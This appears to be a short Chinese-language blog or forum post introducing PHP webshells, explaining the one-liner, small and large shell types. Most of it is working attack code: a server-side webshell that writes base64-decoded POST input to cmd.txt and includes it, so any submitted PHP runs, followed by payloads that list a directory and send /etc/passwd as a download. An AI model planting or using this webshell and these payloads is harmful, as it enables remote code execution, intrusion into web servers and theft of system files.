我是菜牛各位看官轻喷。
PHP一句话主要实现的是,动态执行PHP代码。
PHP小马主要实现的是,文件上传。
PHP大马主要实现的是,提权。
include 语句包含并运行指定文件。
//服务端
if(!empty($_POST['code'])){
$code=trim($_POST['code']);
$handle=fopen('cmd.txt','w') or die('创建文件失败');
fputs($handle,base64_decode($code)) or die('写入文件失败');
fclose($handle);
if(file_exists('cmd.txt')){
include 'cmd.txt';
}
}
?>
简易一句话客户端
最后附上两个shellcode,一个用于目录遍历,一个用于文件下载。
//目录遍历
$d = dir("/tmp");
echo "Path: " . $d->path . "
";
while (false !== ($entry = $d->read())) {
echo $entry."
";
}
$d->close();
?>
//文件下载
$file = '/etc/passwd';
if (file_exists($file)) {
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($file));
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
exit;
}
?>